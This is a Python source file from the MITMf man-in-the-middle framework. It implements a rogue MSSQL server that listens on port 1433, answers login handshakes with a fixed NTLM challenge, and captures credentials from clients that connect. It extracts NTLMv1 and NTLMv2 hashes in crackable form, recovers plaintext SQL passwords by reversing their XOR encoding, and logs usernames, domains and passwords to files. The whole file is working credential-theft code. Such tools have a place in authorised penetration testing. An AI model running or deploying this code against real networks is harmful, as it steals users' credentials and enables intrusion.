MITMf/core/responder/mssql/MSSQLServer.py

import struct
import logging
import threading

from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from MSSQLPackets import *
from core.responder.common import *

mitmf_logger = logging.getLogger("mitmf")

class MSSQLServer():

    def start(self, chal):
        global Challenge; Challenge = chal

        try:
            mitmf_logger.debug("[MSSQLServer] online")
            server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL)
            t = threading.Thread(name="MSSQLServer", target=server.serve_forever)
            t.setDaemon(True)
            t.start()
        except Exception as e:
            mitmf_logger.error("[MSSQLServer] Error starting on port {}: {}".format(1433, e))

class ThreadingTCPServer(ThreadingMixIn, TCPServer):

    allow_reuse_address = True

    def server_bind(self):
        TCPServer.server_bind(self)

#This function parse SQL NTLMv1/v2 hash and dump it into a specific file.
def ParseSQLHash(data,client):
    SSPIStart = data[8:]
    LMhashLen = struct.unpack('<H',data[20:22])[0]
    LMhashOffset = struct.unpack('<H',data[24:26])[0]
    LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
    NthashLen = struct.unpack('<H',data[30:32])[0]
    if NthashLen == 24:
        NthashOffset = struct.unpack('<H',data[32:34])[0]
        NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
        DomainLen = struct.unpack('<H',data[36:38])[0]
        DomainOffset = struct.unpack('<H',data[40:42])[0]
        Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
        UserLen = struct.unpack('<H',data[44:46])[0]
        UserOffset = struct.unpack('<H',data[48:50])[0]
        User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
        outfile = "./logs/responder/MSSQL-NTLMv1-Client-"+client+".txt"
        WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge, User+"::"+Domain)
        mitmf_logger.info('[MSSQLServer] MsSQL NTLMv1 hash captured from :{}'.format(client))
        mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 User is :{}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
        mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 Domain is :{}'.format(Domain))
        mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 Complete hash is: {}'.format(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge))
    if NthashLen > 60:
        DomainLen = struct.unpack('<H',data[36:38])[0]
        NthashOffset = struct.unpack('<H',data[32:34])[0]
        NthashLen = struct.unpack('<H',data[30:32])[0]
        Hash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
        DomainOffset = struct.unpack('<H',data[40:42])[0]
        Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
        UserLen = struct.unpack('<H',data[44:46])[0]
        UserOffset = struct.unpack('<H',data[48:50])[0]
        User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
        outfile = "./logs/responder/MSSQL-NTLMv2-Client-"+client+".txt"
        Writehash = User+"::"+Domain+":"+Challenge+":"+Hash[:32].upper()+":"+Hash[32:].upper()
        WriteData(outfile,Writehash,User+"::"+Domain)
        mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 hash captured from {}'.format(client))
        mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 Domain is: {}'.format(Domain))
        mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 User is: {}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
        mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 Complete Hash is: {}'.format(Writehash))

def ParseSqlClearTxtPwd(Pwd):
    Pwd = map(ord,Pwd.replace('\xa5',''))
    Pw = []
    for x in Pwd:
        Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
    return ''.join(Pw)

def ParseClearTextSQLPass(Data,client):
    outfile = "./logs/responder/MSSQL-PlainText-Password-"+client+".txt"
    UsernameOffset = struct.unpack('<h',Data[48:50])[0]
    PwdOffset = struct.unpack('<h',Data[52:54])[0]
    AppOffset = struct.unpack('<h',Data[56:58])[0]
    PwdLen = AppOffset-PwdOffset
    UsernameLen = PwdOffset-UsernameOffset
    PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
    UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
    WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
    mitmf_logger.info('[MSSQLServer] {} MSSQL Username: {} Password: {}'.format(client, UserName, PwdStr))

def ParsePreLoginEncValue(Data):
    PacketLen = struct.unpack('>H',Data[2:4])[0]
    EncryptionValue = Data[PacketLen-7:PacketLen-6]
    if re.search("NTLMSSP",Data):
        return True
    else:
        return False

#MS-SQL server class.
class MSSQL(BaseRequestHandler):

    def handle(self):
        try:
            while True:
                data = self.request.recv(1024)
                self.request.settimeout(0.1)
                ##Pre-Login Message
                if data[0] == "\x12":
                    buffer0 = str(MSSQLPreLoginAnswer())
                    self.request.send(buffer0)
                    data = self.request.recv(1024)
                ##NegoSSP
                if data[0] == "\x10":
                    if re.search("NTLMSSP",data):
                        t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
                        t.calculate()
                        buffer1 = str(t)
                        self.request.send(buffer1)
                        data = self.request.recv(1024)
                    else:
                        ParseClearTextSQLPass(data,self.client_address[0])
                    ##NegoSSP Auth
                if data[0] == "\x11":
                    ParseSQLHash(data,self.client_address[0])
        except Exception:
            pass
            self.request.close()